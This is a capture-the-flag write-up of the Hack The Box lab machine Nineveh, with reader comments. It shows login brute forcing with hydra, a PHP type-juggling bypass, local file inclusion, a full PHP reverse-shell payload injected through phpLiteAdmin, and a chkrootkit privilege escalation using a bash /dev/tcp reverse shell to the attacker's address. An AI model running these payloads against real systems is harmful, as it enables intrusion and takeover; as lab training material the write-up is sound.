Nineveh write-up by Alamot

Enumeration

Port scanning

We scan the full range of TCP ports using masscan:

$ sudo masscan -e tun0 -p0-65535 --max-rate 500 10.10.10.43
Password: 

Starting masscan 1.0.4 (http://bit.ly/14GZzcT) at 2017-12-17 09:45:27 GMT
 -- forced options: -sS -Pn -n --randomize-hosts -v --send-eth
Initiating SYN Stealth Scan
Scanning 1 hosts [65536 ports/host]
Discovered open port 80/tcp on 10.10.10.43                                     
Discovered open port 443/tcp on 10.10.10.43 

We found TCP ports 80 and 443 open. Let’s explore them using nmap:

$ sudo nmap -A -p80,443 10.10.10.43

Starting Nmap 7.60 ( https://nmap.org ) at 2017-12-17 11:48 EET
Nmap scan report for 10.10.10.43
Host is up (0.078s latency).

PORT    STATE SERVICE  VERSION
80/tcp  open  http     Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Site does not have a title (text/html).
443/tcp open  ssl/http Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Site does not have a title (text/html).
| ssl-cert: Subject: commonName=nineveh.htb/organizationName=HackTheBox Ltd/stateOrProvinceName=Athens/countryName=GR
| Not valid before: 2017-07-01T15:03:30
|_Not valid after:  2018-07-01T15:03:30
|_ssl-date: TLS randomness does not represent time
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 3.2 - 4.8 (91%), Crestron XPanel control system (89%)

We see from ssl-cert the name nineveh.htb, so we add it to the /etc/hosts:

$ cat /etc/hosts
...
10.10.10.43 nineveh.htb
...

Brute forcing directories and files in http website

$ dirb http://nineveh.htb/ /usr/share/dirb/wordlists/big.txt 
-----------------
DIRB v2.22    
By The Dark Raver
-----------------
START_TIME: Sun Dec 17 12:43:18 2017
URL_BASE: http://nineveh.htb/
WORDLIST_FILES: /usr/share/dirb/wordlists/big.txt
-----------------
GENERATED WORDS: 20458
                                                     
---- Scanning URL: http://nineveh.htb/ ----
==> DIRECTORY: http://nineveh.htb/department/     
---- Scanning URL: http://nineveh.htb/ ----
+ http://nineveh.htb/index.html (CODE:200|SIZE:178)                                                                
+ http://nineveh.htb/info.php (CODE:200|SIZE:83769)                                                                
+ http://nineveh.htb/server-status (CODE:403|SIZE:299)  

Brute forcing directories and files in https website

$ dirsearch -u https://nineveh.htb -w /opt/DirBuster/directory-list-2.3-medium.txt -e php
Extensions: php | Threads: 10 | Wordlist size: 220521
Target: https://nineveh.htb

[14:29:06] Starting: 
[14:29:07] 200 -   49B  - /
[14:29:17] 301 -  309B  - /db  ->  https://nineveh.htb/db/
[14:48:14] 403 -  300B  - /server-status
[14:48:17] 301 -  319B  - /secure_notes  ->  https://nineveh.htb/secure_notes/

Getting shell without using PHPLiteAdmin

We visit this URL http://nineveh.htb/department/ and we meet a login page. There is a different answer if a username exists (‘Invalid Password!’ vs ‘Invalid username’). This allows us to enum users and verify that user ‘admin’ exists. We could brute force the password for user admin using hydra and rockyou.txt:

$ hydra 10.10.10.43 -l admin -P /usr/share/dict/rockyou.txt http-post-form "/department/login.php:username=^USER^&password=^PASS^:Invalid Password!" 
Hydra v8.5 (c) 2017 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra (http://www.thc.org/thc-hydra) starting at 2017-12-17 12:17:11
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (l:1/p:14344399), ~896525 tries per task
[DATA] attacking service http-post-form on port 80
[DATA] with additional data /department/login.php:username=^USER^&password=^PASS^:Invalid Password!
[STATUS] 783.00 tries/min, 783 tries in 00:01h, 14343616 to do in 305:19h, 16 active
[STATUS] 788.00 tries/min, 2364 tries in 00:03h, 14342035 to do in 303:21h, 16 active

[80][http-post-form] host: 10.10.10.43   login: admin   password: 1q2w3e4r5t
1 of 1 target successfully completed, 1 valid password found
Hydra (http://www.thc.org/thc-hydra) finished at 2017-12-17 12:23:13

But I prefer a more elegant solution. Instead of POSTing a password string:

password=notThePassword

we can submit an array:

password[]=

PHP translates such POST variables to an empty array which causes strcmp() to fail due to type juggling:
strcmp(array(), “thePassword”) → NULL

Here is the relevant source code for reference:

amrois@nineveh:/var/www/html/department$ cat login.php 
<?php

session_start();
if(isset($_SESSION['username'])){                        
    header( 'Location: manage.php' );
    die();
}
$USER = 'admin';
$PASS = '1q2w3e4r5t';
if(isset($_POST['username']) && isset($_POST['password'])){
    if($_POST['username'] == $USER){
        if(strcmp($_POST['password'], $PASS ) == 0){
            $_SESSION['username'] = $USER;
            header( 'Location: manage.php' ) ;
        } else { $error = "Invalid Password!"; }
} else { $error = 'invalid username'; }

...

So, I used burp to send the following request:

POST /department/login.php HTTP/1.1
Host: nineveh.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://nineveh.htb/department/login.php
Cookie: PHPSESSID=be38h2ulsvdpr40k344iud4097
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 27

username=admin&password[]=0

After we login and click on “Notes” we see some useful hints:

Have you fixed the login page yet! hardcoded username and password is really bad idea!

check your serect folder to get in! figure it out! this is your challenge

Improve the db interface.
~amrois

But the URL is even more interesting:

http://nineveh.htb/department/manage.php?notes=files/ninevehNotes.txt

This seems like a Local File Inclusion (LFI). But it is filtered.
After several tries we managed to find it:

http://nineveh.htb/department/manage.php?notes=files/ninevehNotes.txt../../../../../../../etc/passwd

root:x:0:0:root:/root:/bin/bash
...
amrois:x:1000:1000:,,,:/home/amrois:/bin/bash
...

But this is too long. Can we improve it? Yes, we can! :smiley:

http://nineveh.htb/department/manage.php?notes=/ninevehNotes/../etc/passwd

Here is the relevant source code for reference:

amrois@nineveh:/var/www/html/department$ cat login.php
...
<?php
  $file = @$_GET['notes'];
  if(strlen($file) > 55)
     exit("File name too long.");
  $fileName = basename($file);
  if(!strpos($file, "ninevehNotes"))
    exit("No Note is selected.");
  echo "<pre>";
  include($file);
  echo "</pre>";
?>
...

It’s time for some simple maths:
a) We have a LFI (http://nineveh.htb/department/manage.php?notes=)
b) We have phpinfo() (http://nineveh.htb/info.php)

LFI + phpinfo() = SHELL :smiley:

Read this: https://www.insomniasec.com/downloads/publications/LFI%20With%20PHPInfo%20Assistance.pdf

So, we can get our shell using a script like that:
https://www.insomniasec.com/downloads/publications/phpinfolfi.py

I have modified it a little to make it work for our case:
https://github.com/Alamot/code-snippets/blob/master/hacking/lfiphpinfo.py

Don’t forget to change LHOST, LPORT inside the script and to setup your listener:

$ nc -lvp 60001

Usage :

python2 ./lfiphpinfo.py 10.10.10.43 80 number_of_threads

Because we deal with a racing condition, you may have to run this script a couple of times until it succeeds. But I have tested it and it definitely works. :smiley:

Getting shell using PHPLiteAdmin

If we visit URL https://nineveh.htb/db/ we see a login page for phpLiteAdmin 1.9. Let’s search exploits for this:

$ searchsploit phpLiteAdmin 1.9 -w 

PHPLiteAdmin 1.9.3 - Remote PHP Code Injection https://www.exploit-db.com/exploits/24044/
phpLiteAdmin 1.9.6 - Multiple Vulnerabilitiesh ttps://www.exploit-db.com/exploits/39714/

Remote PHP Code Injection: “An Attacker can create a sqlite Database with a php extension and insert PHP Code as text fields. When done the Attacker can execute it simply by access the database file with the Webbrowser.”
So we have to login first and then we can inject PHP code in the sqlite database. Let’s try some brute force (username doesn’t matter in this case):

$ hydra 10.10.10.43 -l user -P /usr/share/SecLists/Passwords/phpbb.txt https-post-form "/db/index.php:password=^PASS^&proc_login=true:Incorrect password"

Hydra (http://www.thc.org/thc-hydra) starting at 2017-12-17 13:03:16
[DATA] max 16 tasks per 1 server, overall 16 tasks, 184365 login tries (l:1/p:184365), ~11523 tries per task
[DATA] attacking service http-post-form on port 443 with SSL
[DATA] with additional data /db/index.php:password=^PASS^&proc_login=true:Incorrect password
[STATUS] 183.00 tries/min, 183 tries in 00:01h, 184182 to do in 16:47h, 16 active
[STATUS] 209.00 tries/min, 627 tries in 00:03h, 183738 to do in 14:40h, 16 active
[STATUS] 224.29 tries/min, 1570 tries in 00:07h, 182795 to do in 13:36h, 16 active
[443][http-post-form] host: 10.10.10.43   login: user   password: password123
1 of 1 target successfully completed, 1 valid password found
Hydra (http://www.thc.org/thc-hydra) finished at 2017-12-17 13:10:44

We login and then:

  1. “Create a new Database” with name ‘somename.php’
  2. Click on “Change Database” link ‘somename.php’
  3. Create new table on database ‘somename.php’ with name ‘sometable’ (Number of Fields: 1)
  4. Give a name ‘sometext’ to the field, change its type to ‘TEXT’ and in its default value put whaterver PHP code you want (Just don’t use single quotes because they are already used by the database to enclose its strings. Note that PHP code injection works even if you insert the code in the field name instead of its value.).

Here, for example, I use the code from php-reverse-shell | pentestmonkey converted to one-liner by me ^_^:

<?php set_time_limit (0); $VERSION = "1.0"; $ip = "10.10.15.203"; $port = 60002; $chunk_size = 1400; $write_a = null; $error_a = null; $shell = "uname -a; w; id; /bin/bash -i"; $daemon = 0; $debug = 0; if (function_exists("pcntl_fork")) { $pid = pcntl_fork(); if ($pid == -1) { printit("ERROR: Cannot fork"); exit(1); } if ($pid) { exit(0); } if (posix_setsid() == -1) { printit("Error: Cannot setsid()"); exit(1); } $daemon = 1; } else { printit("WARNING: Failed to daemonise.  This is quite common and not fatal."); } chdir("/"); umask(0); $sock = fsockopen($ip, $port, $errno, $errstr, 30); if (!$sock) { printit("$errstr ($errno)"); exit(1); } $descriptorspec = array(0 => array("pipe", "r"), 1 => array("pipe", "w"), 2 => array("pipe", "w")); $process = proc_open($shell, $descriptorspec, $pipes); if (!is_resource($process)) { printit("ERROR: Cannot spawn shell"); exit(1); } stream_set_blocking($pipes[0], 0); stream_set_blocking($pipes[1], 0); stream_set_blocking($pipes[2], 0); stream_set_blocking($sock, 0); printit("Successfully opened reverse shell to $ip:$port"); while (1) { if (feof($sock)) { printit("ERROR: Shell connection terminated"); break; } if (feof($pipes[1])) { printit("ERROR: Shell process terminated"); break; } $read_a = array($sock, $pipes[1], $pipes[2]); $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null); if (in_array($sock, $read_a)) { if ($debug) printit("SOCK READ"); $input = fread($sock, $chunk_size); if ($debug) printit("SOCK: $input"); fwrite($pipes[0], $input); } if (in_array($pipes[1], $read_a)) { if ($debug) printit("STDOUT READ"); $input = fread($pipes[1], $chunk_size); if ($debug) printit("STDOUT: $input"); fwrite($sock, $input); } if (in_array($pipes[2], $read_a)) { if ($debug) printit("STDERR READ"); $input = fread($pipes[2], $chunk_size); if ($debug) printit("STDERR: $input"); fwrite($sock, $input); } } fclose($sock); fclose($pipes[0]); fclose($pipes[1]); fclose($pipes[2]); proc_close($process); function printit ($string) {  if (!$daemon) { print "$string\n"; } } ?>

On our side, we set up our listener and then visit http://nineveh.htb/department/manage.php?notes=/ninevehNotes/../var/tmp/somename.php

$ nc -lvp 60002
nc: listening on 0.0.0.0 60002 ...
nc: connect to 10.10.15.203 60002 from nineveh.htb (10.10.10.43) 36908 [36908]
nc: using stream socket
Linux nineveh 4.4.0-62-generic #83-Ubuntu SMP Wed Jan 18 14:10:15 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
 09:05:41 up 26 min,  2 users,  load average: 0.27, 0.18, 0.11
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
amrois   pts/0    10.10.15.203     08:53    4:05   0.08s  0.08s -bash
amrois   pts/1    10.10.15.82      09:05   29.00s  0.04s  0.04s -bash
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@nineveh:/$

Privilege Escalation

User amrois

If we visit https://nineveh.htb/secure_notes/ we see a large image: https://nineveh.htb/secure_notes/nineveh.png
If we download it and run

$ strings nineveh.png

we discover, hidden inside the file, this private key:

-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEAri9EUD7bwqbmEsEpIeTr2KGP/wk8YAR0Z4mmvHNJ3UfsAhpI
H9/Bz1abFbrt16vH6/jd8m0urg/Em7d/FJncpPiIH81JbJ0pyTBvIAGNK7PhaQXU
PdT9y0xEEH0apbJkuknP4FH5Zrq0nhoDTa2WxXDcSS1ndt/M8r+eTHx1bVznlBG5
FQq1/wmB65c8bds5tETlacr/15Ofv1A2j+vIdggxNgm8A34xZiP/WV7+7mhgvcnI
3oqwvxCI+VGhQZhoV9Pdj4+D4l023Ub9KyGm40tinCXePsMdY4KOLTR/z+oj4sQT
X+/1/xcl61LADcYk0Sw42bOb+yBEyc1TTq1NEQIDAQABAoIBAFvDbvvPgbr0bjTn
KiI/FbjUtKWpWfNDpYd+TybsnbdD0qPw8JpKKTJv79fs2KxMRVCdlV/IAVWV3QAk
FYDm5gTLIfuPDOV5jq/9Ii38Y0DozRGlDoFcmi/mB92f6s/sQYCarjcBOKDUL58z
GRZtIwb1RDgRAXbwxGoGZQDqeHqaHciGFOugKQJmupo5hXOkfMg/G+Ic0Ij45uoR
JZecF3lx0kx0Ay85DcBkoYRiyn+nNgr/APJBXe9Ibkq4j0lj29V5dT/HSoF17VWo
9odiTBWwwzPVv0i/JEGc6sXUD0mXevoQIA9SkZ2OJXO8JoaQcRz628dOdukG6Utu
Bato3bkCgYEA5w2Hfp2Ayol24bDejSDj1Rjk6REn5D8TuELQ0cffPujZ4szXW5Kb
ujOUscFgZf2P+70UnaceCCAPNYmsaSVSCM0KCJQt5klY2DLWNUaCU3OEpREIWkyl
1tXMOZ/T5fV8RQAZrj1BMxl+/UiV0IIbgF07sPqSA/uNXwx2cLCkhucCgYEAwP3b
vCMuW7qAc9K1Amz3+6dfa9bngtMjpr+wb+IP5UKMuh1mwcHWKjFIF8zI8CY0Iakx
DdhOa4x+0MQEtKXtgaADuHh+NGCltTLLckfEAMNGQHfBgWgBRS8EjXJ4e55hFV89
P+6+1FXXA1r/Dt/zIYN3Vtgo28mNNyK7rCr/pUcCgYEAgHMDCp7hRLfbQWkksGzC
fGuUhwWkmb1/ZwauNJHbSIwG5ZFfgGcm8ANQ/Ok2gDzQ2PCrD2Iizf2UtvzMvr+i
tYXXuCE4yzenjrnkYEXMmjw0V9f6PskxwRemq7pxAPzSk0GVBUrEfnYEJSc/MmXC
iEBMuPz0RAaK93ZkOg3Zya0CgYBYbPhdP5FiHhX0+7pMHjmRaKLj+lehLbTMFlB1
MxMtbEymigonBPVn56Ssovv+bMK+GZOMUGu+A2WnqeiuDMjB99s8jpjkztOeLmPh
PNilsNNjfnt/G3RZiq1/Uc+6dFrvO/AIdw+goqQduXfcDOiNlnr7o5c0/Shi9tse
i6UOyQKBgCgvck5Z1iLrY1qO5iZ3uVr4pqXHyG8ThrsTffkSVrBKHTmsXgtRhHoc
il6RYzQV/2ULgUBfAwdZDNtGxbu5oIUB938TCaLsHFDK6mSTbvB/DywYYScAWwF7
fw4LVXdQMjNJC3sn3JaqY1zJkE4jXlZeNQvCx4ZadtdJD9iO+EUG
-----END RSA PRIVATE KEY-----

Save the private key to a file and chmod 600 it.
Now we have to do some port knocking in order to open SSH port 22. We can find this information and the correct port combination by reading either /etc/knockd.conf or /var/mail/amrois

$ ls -al /etc/knockd.conf 
-rw-r--r-- 1 root root 354 Aug  5 02:06 /etc/knockd.con

$ cat knockd.conf
[options]
 logfile = /var/log/knockd.log
 interface = ens33

[openSSH]
 sequence = 571, 290, 911 
 seq_timeout = 5
 start_command = /sbin/iptables -I INPUT -s %IP% -p tcp --dport 22 -j ACCEPT
 tcpflags = syn

[closeSSH]
 sequence = 911,290,571
 seq_timeout = 5
 start_command = /sbin/iptables -D INPUT -s %IP% -p tcp --dport 22 -j ACCEPT
 tcpflags = syn


$ ls -al /var/mail/amrois
-rw-r--r-- 1 amrois mail 483 Jul  2 18:46 /var/mail/amrois

$ cat /var/mail/amrois
amrois@nineveh:/var/mail$ cat amrois
From root@nineveh.htb  Fri Jun 23 14:04:19 2017
Return-Path: <root@nineveh.htb>
X-Original-To: amrois
Delivered-To: amrois@nineveh.htb
Received: by nineveh.htb (Postfix, from userid 1000)
        id D289B2E3587; Fri, 23 Jun 2017 14:04:19 -0500 (CDT)
To: amrois@nineveh.htb
From: root@nineveh.htb
Subject: Another Important note!
Message-Id: <20170623190419.D289B2E3587@nineveh.htb>
Date: Fri, 23 Jun 2017 14:04:19 -0500 (CDT)

Amrois! please knock the door next time! 571 290 911

Therefore we can connect from outside like this:

knock 10.10.10.43 571 290 911 && ssh -i sshprivkey.txt amrois@10.10.10.43

OR you can connect from inside your shell like that:

ssh -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no -i sshprivatekey.txt amrois@localhost

Root

We see this interesting folder:

amrois@nineveh:/$ ls -al /
...
drwxr-xr-x   2 amrois amrois  4096 Dec 16 08:54 report
...

Inside this folder, we find some reports which are generated by chkrootkit:

amrois@nineveh:/$ cd report/
amrois@nineveh:/report$ ls -al
total 48
drwxr-xr-x  2 amrois amrois 4096 Dec 17 05:54 .
drwxr-xr-x 24 root   root   4096 Jul  2 21:07 ..
-rw-r--r--  1 amrois amrois 4807 Dec 17 05:50 report-17-12-17:05:50.txt
-rw-r--r--  1 amrois amrois 4807 Dec 17 05:51 report-17-12-17:05:51.txt
-rw-r--r--  1 amrois amrois 4807 Dec 17 05:52 report-17-12-17:05:52.txt
-rw-r--r--  1 amrois amrois 4807 Dec 17 05:53 report-17-12-17:05:53.txt
-rw-r--r--  1 amrois amrois 4807 Dec 17 05:54 report-17-12-17:05:54.txt

amrois@nineveh:/report$ cat report-17-12-17:05:51.txt
...

Let’s search exploits for chkrootkit:

$searchsploit chkrootkit -w

Chkrootkit - Local Privilege Escalation (Metasploit) https://www.exploit-db.com/exploits/38775/
Chkrootkit 0.49 - Local Privilege Escalation https://www.exploit-db.com/exploits/33899/

Nice! Chkrootkit before 0.50 will run any executable file named /tmp/update as root, allowing a trivial priv esc.

$ nano /tmp/update
    #!/bin/bash
    bash -i >& /dev/tcp/10.10.15.203/60000 0>&1
$ chmod +x /tmp/update

Let’s explore those cron jobs a little:

$ nc -lvp 60000
nc: listening on 0.0.0.0 60000 ...
nc: connect to 10.10.15.203 60000 from nineveh.htb (10.10.10.43) 60706 [60706]
nc: using stream socket

root@nineveh:~# cd /var/spool/cron/crontabs
root@nineveh:/var/spool/cron/crontabs# ls -al
-rw------- 1 amrois crontab 1129 Jul  2 19:59 amrois
-rw------- 1 root   crontab 1120 Jul  2 19:59 root

root@nineveh:/var/spool/cron/crontabs# tail -n2 amrois
*/10 * * * * /usr/sbin/report-reset.sh

root@nineveh:/var/spool/cron/crontabs# cat /usr/sbin/report-reset.sh
#!/bin/bash
rm -rf /report/*.txt

root@nineveh:/var/spool/cron/crontabs# tail -n2 root
*/1 * * * * /root/vulnScan.sh

root@nineveh:/var/spool/cron/crontabs# cat /root/vulnScan.sh
#!/bin/bash
/usr/bin/chkrootkit > /report/report-`date +%y-%m-%d:%H:%M`.txt
chown amrois:amrois /report/report-`date +%y-%m-%d:%H:%M`.txt

That’s all folks! :slight_smile:

Nice job. Loved the phpinfo trick - Had completely missed that the file was there.

Excellent write up Alamot =)

i used a totally different way, yours is really interesting. For the knock, i just used localhost etc…

Excellent job … These steps are exactly what I have in mind when I build this machine :slight_smile:

Great write up. Thanks for sharing!

@Yas3r said:
Excellent job … These steps are exactly what I have in mind when I build this machine :slight_smile:

it’s really a cool box for all levels

Awesome writeup as always, interesting different angles :+1:

@peek said:

@Yas3r said:
Excellent job … These steps are exactly what I have in mind when I build this machine :slight_smile:

it’s really a cool box for all levels

Thanks … this is correct … it meant to be for educational purposes… :slight_smile:

That phpinfo trick is really cool, excellent writeup :slight_smile:

@Booj said:
That phpinfo trick is really cool, excellent writeup :slight_smile:

Type juggling, too.

Thanks for sharing! :smiley:

I SSHed ro amrois successfully. But I am unable to do priv esc after that. I am not getting root shell here

$ nc -lvp 60000
Its just showing Listening on [0.0.0.0] (family 0, port 6000)
Someone please help me to get into the machine

Thanks in advance